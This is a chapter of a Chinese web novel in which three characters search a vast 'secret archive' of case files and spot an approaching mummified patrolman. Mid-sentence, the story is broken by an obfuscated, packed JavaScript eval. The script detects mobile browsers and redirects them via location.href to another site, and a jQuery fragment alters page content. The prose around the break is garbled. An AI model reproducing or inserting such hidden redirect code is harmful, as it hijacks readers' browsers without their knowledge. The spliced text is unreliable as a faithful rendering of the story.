【您已进入支线任务地点「秘密档案馆」。】 “……那么大阵仗没关系吗?”李非鹤悄声问时安之道,身后是分崩离析、轰然倒地的铁栅栏门,和漫天飞扬的尘埃。 “你管得了他吗?”时安之苦笑,“速战速决吧。” 档案馆内是一片黑暗,窗户都被封死,只有几缕羸弱的光线从缝隙间透入。粘稠的空气中漂浮着浓重的纸浆霉变的气息,还有一些令时安之不太舒服的气味,仿佛是淡淡的腥臭或是腐烂的味道,从四周的角落里渗透过来。 他们顺着幽暗的走廊,往里进了一段距离,很快就在前方看到了一个入口。 “卷宗室。”李非鹤念着门边的字。 “进去看看。”时安之说。 ——映入眼帘的空间竟然是意想不到的巨大。 卷宗室内并非他们想象中那样,是一排排整齐的书架。这里简直就是一片钢铁森林。 无数金属制成的档案柜堆积如山,层层叠叠地纠结在一起。大多数柜体都深深嵌入了墙壁,少部分则犹如巨树的分叉一样,延伸出更多细小的抽屉,每一个小抽屉里都满满当当地摆放着纸质的卷宗。粗略一看,这个房间内存放的卷宗,恐怕要以万计。 “这……”李非鹤发愣了,“这要怎么找?” 时安之看着这画面,也开始头疼起来。 不会吧。不能是一册一册地挨着找吧。找到我八十岁都未必能结束这个支线任务,到时候得了老花眼,效率还要下降。 不可能是这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283941|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一定有线索。 但线索是什么? 他一边继续琢磨,一边走到墙角的一个档案柜前,随手取出几份卷宗,在昏暗的光线下打开。 * 卷宗编号:715 罪名:浪费粮食 刑罚:自食其果 备注:已归档。无需再审。 * 卷宗编号:239 罪名:袭击公职征税官 刑罚:当场格杀 备注:已归档。无需再审。 * 卷宗编号:1308 罪名:浪费粮食 刑罚:自食其果 备注:已归档。无需再审。 * 卷宗编号:2521 罪名:拒绝缴纳面包 刑罚:永久驱逐 备注:已归档。无需再审。 * “……这个「浪费粮食」和「自食其果」指的是什么?”时安之喃喃。 他继续翻了几份卷宗,「自食其果」出现在刑罚一栏的几率相当高,几乎每五份中就有两至三份。时安之皱起眉头,转头看其他人,李非鹤正在另一端翻找卷宗里的文书,不知道是寄希望于能靠破天荒的好运气发现目标,还是有一套自己的想法;而季随山依旧站在门边,活像个门神一样,背着刀端立不动。 见他看过来,季随山抬头,视线和他正好相撞。 “速战速决。”季随山忽然开口。 “怎么?”时安之说,心想不会是在阴阳我刚才说他的话吧。这种情况哪里能速战速决,有本事你上,没本事别催。 但季随山好像并没有别的意思,他只是冷冷道: “这个地方有巡逻的人。” 时安之一惊,几步跨回到门边,跟着季随山指示他的方向,去听走廊里的动静。 “沙沙。” 起初很轻,只是这样的声音,非常古怪,一点也不像人的脚步。 随着距离渐渐变近,响声也开始大了起来,仿佛几张老旧的牛皮纸在地板上摩挲着,很慢,很生硬。另外还有一种怪异的嘶嘶声,伴随着牛皮纸的动作,在黑暗里一下一下地挪动。 然后,一束光先于本体,从走廊拐角处投射进来。 一盏老油灯。 在油灯昏黄的光晕照耀中,这位巡逻者的面容缓缓从黑暗里出现。 干枯而皲裂的皮肤,完全紧贴着骨骼生长,甚至能从这张脸上看到人类骷髅清晰的轮廓。深邃的眼眶里没有眼珠,也没存下丝毫水分,映不出油灯的火光,只有两个黑洞在茫然地注视着前方的走廊;下面干瘪的嘴唇则微微张开,不时地发出“嘶嘶”的怪声。 他身上穿的,则是一件和皮肤彻底粘在了一起的老式制服。 ——一具干尸。 一具干尸正向着卷宗室走来。 时安之感觉到自己背后的冷汗在疯狂地往外冒。他转头看向季随山,后者的脸也和那具干尸一样,在油灯闪烁的火光中忽明忽灭,漆黑的眼睛依然分辨不出什么情绪。 这个人好像是根本不会害怕的。 “喂。”时安之用口型冲他悄声说。 “你不害怕,那你上。”